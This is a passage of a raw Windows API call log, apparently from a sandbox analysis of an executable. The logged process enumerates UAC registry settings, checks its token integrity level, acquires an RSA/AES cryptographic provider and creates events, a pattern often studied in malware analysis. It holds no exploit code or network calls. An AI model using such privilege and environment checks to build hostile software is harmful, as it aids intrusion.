lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ab9a8 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.848] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1e8 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.848] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1f8 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.848] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.848] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab878) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac438) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab888) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac558) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab898) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac510) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab930) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac4c8) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab860) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac480) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab968) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac3f0) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab978) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac3a8) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab988) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac360) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab940) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac318) returned 1 [0224.848] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab950) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac2d0) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab9d0) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab9e0) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab998) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab9a8) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1e8) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1f8) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.849] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.849] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x4ac240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x4ac240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.849] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.849] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1f8 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.849] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1e8 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.849] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad208 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.849] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad218 [0224.849] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4ab860 [0224.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad228 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad238 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad248 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac2d0 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4ab930 [0224.850] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab860) returned 1 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac318 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac360 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3a8 [0224.850] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.850] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3f0 [0224.851] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac480 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab930) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2a8 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac4c8 [0224.851] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2b8 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac510 [0224.851] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac558 [0224.851] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac438 [0224.851] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.851] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.851] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1f8) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1e8) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad208) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad218) returned 1 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.852] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.852] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x4ac480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x4ac480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0224.852] RegCloseKey (hKey=0x38) returned 0x0 [0224.852] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0224.852] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0224.852] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0224.852] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0224.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.852] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x4ac5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x4ac5a0, ReturnLength=0x18fbfc) returned 1 [0224.852] GetSidSubAuthorityCount (pSid=0x4ac5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x4ac5a9 [0224.852] GetSidSubAuthority (pSid=0x4ac5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x4ac5b0 [0224.852] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5a0) returned 1 [0224.852] NtClose (Handle=0xc4) returned 0x0 [0224.853] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x6c) returned 0x4ab860 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5a0 [0224.853] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac480 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac438 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac558 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac510 [0224.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f0048 [0224.854] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac4c8 [0224.854] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac4c8) returned 1 [0224.854] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x4f1ec8) returned 1 [0224.868] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f0048) returned 1 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ab8d8 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ab960 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac4c8 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ab9e8 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aba70 [0224.868] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3f0 [0224.869] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abaf8 [0224.869] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac3a8 [0224.869] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f0048 [0224.869] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac360 [0224.869] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac360) returned 1 [0224.869] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.876] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f0048) returned 1 [0224.876] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ecbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0224.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac360 [0224.876] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0224.876] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac360) returned 1 [0224.876] GetLastError () returned 0x0 [0224.876] LocalFree (hMem=0x4ecbd8) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac360 [0224.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f0048 [0224.876] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac318 [0224.876] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac318) returned 1 [0224.876] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f0048) returned 1 [0224.878] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ecbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0224.878] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac318 [0224.878] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0224.878] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac318) returned 1 [0224.878] GetLastError () returned 0x0 [0224.878] LocalFree (hMem=0x4ecbd8) returned 0x0 [0224.879] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac318 [0224.879] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5000) returned 0x8f0048 [0224.879] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac2d0 [0224.879] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac2d0) returned 1 [0224.879] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0224.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f0048) returned 1 [0224.880] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ecbd8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0224.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac2d0 [0224.880] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0224.880] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac2d0) returned 1 [0224.880] GetLastError () returned 0x0 [0224.880] LocalFree (hMem=0x4ecbd8) returned 0x0 [0224.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f0048 [0224.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abb80 [0224.880] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, 